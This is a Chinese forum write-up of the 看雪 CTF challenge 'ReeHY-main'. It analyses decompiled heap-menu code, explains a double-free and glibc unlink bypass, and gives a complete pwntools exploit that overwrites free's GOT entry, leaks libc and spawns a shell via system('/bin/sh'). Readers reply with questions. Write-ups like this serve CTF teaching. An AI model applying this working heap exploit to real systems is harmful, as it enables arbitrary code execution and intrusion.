首页
社区
课程
招聘
看雪CTF-ReeHY-main
2017-6-8 20:36 7224

看雪CTF-ReeHY-main

BPG 活跃值
2
2017-6-8 20:36
7224

一、ALL

这题也是一般堆溢出的流程,主要有下面几个操作
1.创建
 

input_cun = N;
  if ( N <= 4 )
  {
    puts("Input size");
    input_cun = Get_Number();
    LODWORD(input_size) = input_cun;
    if ( input_cun <= 4096 )
    {
      puts("Input cun");
      input_cun = Get_Number();
      cun = input_cun;
      if ( input_cun <= 4 )
      {
        dest = malloc((signed int)input_size);
        puts("Input content");
        if ( (signed int)input_size > 0x70 )
        {
          read(0, dest, (unsigned int)input_size);
        }
        else
        {
          read(0, &buf, (unsigned int)input_size);
          memcpy(dest, &buf, (signed int)input_size);
        }
        *(_DWORD *)(AllSize + 4LL * cun) = input_size;
        *((_QWORD *)&AllAddr + 2 * cun) = dest;
        isExists[4 * cun] = 1;
        ++N;
        input_cun = fflush(stdout);
      }
    }
  }

这一段代码比较多,但可以看到问题还是存在的,size和cun都是可以通过输入负数,接着通过强类型转换`unsigned int`来转换成很大的整数来整形溢出。

2.删除

 v1 = result;
  if ( (signed int)result <= 4 )
  {
    free(*((void **)&AllAddr + 2 * (signed int)result));
    isExists[4 * v1] = 0;
    puts("dele success!");
    result = (unsigned int)(N-- - 1);
  }

可以看到这里也是存在问题的,删除之前没有判断块是否被删除了,所以应该可以构造`double-free`

3.编辑

v1 = result;
  if ( result <= 4 )
  {
    result = isExists[4 * result];
    if ( result == 1 )
    {
      puts("Input the content");
      read(0, *((void **)&AllAddr + 2 * v1), *(_DWORD *)(4LL * v1 + AllSize));
      result = puts("Edit success!");
    }
  }

这里就是正常的编辑,不过验证了块是否存在。

二、DOUBLE-FREE
一年前做过一道`double-free`之后就再也没碰过了,这里正好把相关知识点再温习一下。
堆结构如下,其中0,1,2,3表示一个单位长度。

struct malloc_chunk {

[p + 0]      INTERNAL_SIZE_T      prev_size; /* 前一个空闲chunk的大小*/
[p + 1]      INTERNAL_SIZE_T      size;      /* 字节表示的chunk大小,包括chunk头 */

[p + 2]      struct malloc_chunk* fd;         /* 双向链表 -- 只有在被free后才存在 */
[p + 3]      struct malloc_chunk* bk;        /* fd:前一个空闲的块  bk:后一个空闲的块*/

      struct malloc_chunk* fd_nextsize;  /*块大小超过512字节后会有这两个指针*/
      struct malloc_chunk* bk_nextsize;
    };

补充说明:
1.prev_size :前一块被free的话则为空闲块的大小,前一块未被free的话则为0
2.size : 因为chunk是四字节对齐所以size的低三位一定是0,被用来做flag

正常`unlink`的函数主要代码如下:

#define unlink(AV, P, BK, FD) {
    FD = P->fd; //p +
    BK = P->bk;
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);
    else {
        FD->bk = BK;
        BK->fd = FD;
        ......
}

如果能覆盖一个块的头部来达到控制其`bk`和`fd`的话,就能够成功修改任意地址的值了,但由于存在判断`FD->bk != P || BK->fd != P`,所以没法随便修改,这时就需要利用`double-free`了。
首先判断是需要通过的,所以可以有下面两个等
FD->bk = P   <=> FD+3 = P
BK->fd = P   <=> BK+2 =
接着就是构造一个堆头满足这两个等式了
pre_size     0
size         chunk_size + 1 //这两个条件表示堆仍在使用中
fd           p_addr - 3
bk           p_addr - 2

那么就能得到绕过判断后能实现的效果
FD->bk = BK => P = BK = P - 2
BK->fd = FD => P = FD = P - 3

所以最后实现的效果是`P=P-3`。

接着就是实现`double-free`的流程了,稍微盗一下图...
1.新建两个chunk分别为chunk0和chunk1

chunk0                malloc返回的ptr        chunk1        malloc返回的ptr
|                     |                     |             |
+-----------+---------+---+---+-------------+------+------+----+----+------+
|           |         |   |   |             |      |      |    |    |      |
|           |         |   |   |             | prev | size&|    |    |      |
| prev_size |size&Flag|   |   |             | size | flag |    |    |      |
|           |         |   |   |             |      |      |    |    |      |
|           |         |   |   |             |      |      |    |    |      |
+-----------+---------+---+---+-------------+------+------+----+----+------+

2.free掉这两个块,第一块作为稍后unlink的块,另一块作为free的块

3.新建一个块,这个块要能覆盖到chunk1的头部,从而伪造两个chunk的头,chunk0的头部之前已经说过了,而chunk1需要欺骗操作系统chunk0是已经被free了的,所以其头部应该如下
pre_size     chunk0_size
size         chunk1_size
然后整体实现如下:

chunk0                malloc返回的ptr           chunk1        malloc返回的pt
|                     |                        |             |
+-----------+---------+----+----+----+----+----+------+------+----+----+------+
|           |         |fake|fake|fake|fake| D  | fake | fake |    |    |      |
|           |         |prev|size| FD | BK | A  | prev | size&|    |    |      |
| prev_size |size&Flag|size|    |    |    | T  | size | flag |    |    |      |
|           |         |    |    |    |    | A  |      |      |    |    |      |
|           |         |    |    |    |    |    |      |      |    |    |      |
+-----------+---------+----+----+----+----+----+------+------+----+----+------+
                      |-------new_chunk0-------|

4.那么新建这个块就相当于是两个块了,然后我们free chunk1,就能实现unlink chunk0从而使得chunk0的地址存放的值变成了P-0x18
5.接下来修改chunk0的值,修改的值为0x18个padding,然后就能修改chunk0的地址的值了,这时修改成free的GOT表地址
6.接下来再修改一次chunk0, 这次的值修改成system那么就会使得free的GOT表指向system,接下来free的时候传入/bin/sh就能获取shell了

三、 EXP
在调试EXP过程中出现了这样俩个问题,需要注意一下。
第一个是这里的P指的是指向堆地址的指针,也就是`0x6020e0`,不要误以为是堆的地址哦。
第二个在这里我是把`/bin/sh`写在第0个堆,而用2,3来进行`double-free`,主要原因是由于在调试的过程中发现把`/bin/sh`写后面会被系统发现`double-free`。
具体EXP:

#!/usr/bin/env python
# encoding: utf-8

from pwn import *
import sys

context.log_level = "debug"

def Welcome():
    p.recvuntil("$ ")
    p.sendline("mutepig")

def Add(size,id,content):
    p.recvuntil("$ ")
    p.sendline("1")
    p.recvuntil("size\n")
    p.sendline(str(size))
    p.recvuntil("cun\n")
    p.sendline(str(id))
    p.recvuntil("content\n")
    p.sendline(content)

def Remove(id):
    p.recvuntil("$ ")
    p.sendline("2")
    p.recvuntil("dele\n")
    p.sendline(str(id))

def Edit(id,content):
    p.recvuntil("$ ")
    p.sendline("3")
    p.recvuntil("edit\n")
    p.sendline(str(id))
    p.recvuntil("content\n")
    p.send(content)

if __name__ == "__main__":
    if len(sys.argv)==1:  # local
        p = process("./4-ReeHY-main")
        libc = ELF('libc.so.6')
    else:
        p = remote('211.159.216.90', 51888)
        libc = ELF('ctflibc.so.6')
    #gdb.attach(proc.pidof(p)[0],"b *0x400c29\n")
    #+==================INIT=====================================
    elf = ELF('4-ReeHY-main')
    libc_atoi = libc.symbols['atoi']
    libc_system = libc.symbols['system']
    libc_binsh = next(libc.search("/bin/sh"))
    free_got = elf.got['free']
    atoi_got = elf.got['atoi']
    puts_plt = elf.plt['puts']
    heap_addr = 0x602100
    #+==================INIT=====================================
    print hex(free_got)
    Welcome()
    Add(512,0,"/bin/sh\x00")
    Add(512,1,"1")
    Add(512,2,"2")
    Add(512,3,"3")
    Remove(3)
    Remove(2)
    payload = p64(0) + p64(512+1) + p64(heap_addr - 0x18) + p64(heap_addr - 0x10) + 'A'*(512-0x20) + p64(512) + p64(512)
    Add(1024,2,payload)
    Remove(3)

    Edit(2,'1'*0x18 + p64(free_got) + p64(1) + p64(atoi_got)+ "\n")
    Edit(2,p64(puts_plt))

    Remove(3)
    atoi_addr = u64(p.recv(8)) & 0xffffffffffff
    base_addr = atoi_addr - libc_atoi
    system_addr = base_addr + libc_system

    log.success("systebm:" + hex(system_addr))

    Edit(2,p64(system_addr))
    Remove(0)

    p.interactive()

也可以参照我的博客:http://www.mutepig.club/index.php/archives/23/


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞1
打赏
分享
最新回复 (7)
雪    币: 7209
活跃值: (2630)
能力值: (RANK:520 )
在线值:
发帖
回帖
粉丝
netwind 13 2017-6-8 21:07
2
0

题目结束后 会移动到公开版

雪    币: 812
活跃值: (285)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lishua 2018-1-21 16:16
3
0
咨询一下,第67和68行为什么要对2进行两次编辑呢?  我试着改成一行Edit(2,p64(puts_plt)+'1'*0x10  +  p64(free_got)  +  p64(1)  +  p64(atoi_got)+  "\n"),会报错
还有第71行atoi_addr  =  u64(p.recv(8))  &  0xffffffffffff  这里为什么要和12个f作与运算呢? 
多谢
雪    币: 639
活跃值: (70)
能力值: ( LV12,RANK:219 )
在线值:
发帖
回帖
粉丝
BPG 2 2018-2-1 17:12
4
0
lishua 咨询一下,第67和68行为什么要对2进行两次编辑呢? 我试着改成一行Edit(2,p64(puts_plt)+'1'*0x10 + p64(free_got) + p64(1) + p64(atoi_ ...
第一个问题  第一次修改是因为需要绕过unlink的判断  于是将指针指向p-0x18  第二次修改就能够任意地址写了
第二个好像是调试的时候发现这样获取的地址才是正确的,于是就这样写了
雪    币: 812
活跃值: (285)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lishua 2018-2-2 17:56
5
0

嗯,多谢 我再学习一下

雪    币: 812
活跃值: (285)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lishua 2018-2-6 10:02
6
0

回去想了一下,实在是想不通

我写了一个小程序,为了测试自己的想法

#include <stdio.h>
#include <stdlib.h>

#include <string.h>
long int a[1];//保存待删除的指针的全局变量
long int d;//只是为了gcc编译时不报warning,d就是a[0]的地址
//下面就是unlink宏
#define unlink(P,BK,FD){\
/*FD = P->fd;\
BK = P->bk;\ */\
d=(long int)a;\
FD=(struct s*)(d-0x18);\
BK=(struct s*)(d-0x10);\
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))\
      printf ("corrupted double-linked list\n");\
    else {\
        FD->bk = BK;\
/**d=d-0x18;即a[0]=a-0x18 */\
        BK->fd = FD;\
}\
}

struct s
{
  long int b;
  long int c;
  struct s *fd;
  struct s *bk;
};
main ()
{
  struct s *FD;
  struct s *BK;
  struct s *p1 = malloc (sizeof (struct s));
  p1->b = 1;
  struct s *p2 = malloc (sizeof (struct s));
  p2->b = 2;
  struct s *p3 = malloc (sizeof (struct s));
  p3->b = 3;
  a[0] = (long int)p3;
  struct s *p4 = malloc (sizeof (struct s));
  p4->b = 4;
  struct s *p5 = malloc (sizeof (struct s));
  p5->b = 5;
  p1->fd = p2;
  p2->fd = p3;
  p3->fd = p4;
  p4->fd = p5;
  p5->bk = p4;
  p4->bk = p3;
  p3->bk = p2;
  p2->bk = p1;
  struct s *p;
  p = p1;
  while (p != NULL)
    {
      printf ("%d->", p->b);
      p = p->fd;
    }
  printf ("\n");
//输出unlink前全局变量的值
printf("[1]:%x\n",a[0]);
  unlink (p3, FD, BK);
//输出unlink后全局变量的值
printf("[2]:%x\n",a[0]);
printf("[3]:%x\n",p3);
//既然unlink执行后,*d=d-0x18,即*a=a-0x18,我们是不是就可以更改p3的值,从而更改a[0]的值? 此处是比划exp写的,其实并不理解
char m[]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH";
memcpy(p3,m,32);
printf("[4]:%x\n",a[0]);
  p = p1;
  while (p != NULL)
    {
      printf ("%d->", p->b);
      p = p->fd;
    }
  free (p1);
  free (p2);
  free (p3);
  free (p4);
  free (p5);
}
运行结果如下:
[admin@bogon 4-ReeHY-main]$ ./3
1->2->3->4->5->
[1]:2210070
[2]:601058
[3]:2210070
[4]:601058
Segmentation fault (core dumped)
说明unlink后,a[0]的值确实变化了,但是我把p3的内容修改了,并没有覆盖到a[0],这是为什么呢?

雪    币: 812
活跃值: (285)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lishua 2018-3-15 16:05
7
0
哎,脑子不太好用,我死记住了
雪    币: 223
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
wildbloom 2019-12-17 10:24
8
0
    free_got = elf.got['free']
    atoi_got = elf.got['atoi']
    puts_plt = elf.plt['puts']
您好,我想请问下,什么时候用plt地址什么时候用got地址呢?
游客
登录 | 注册 方可回帖
返回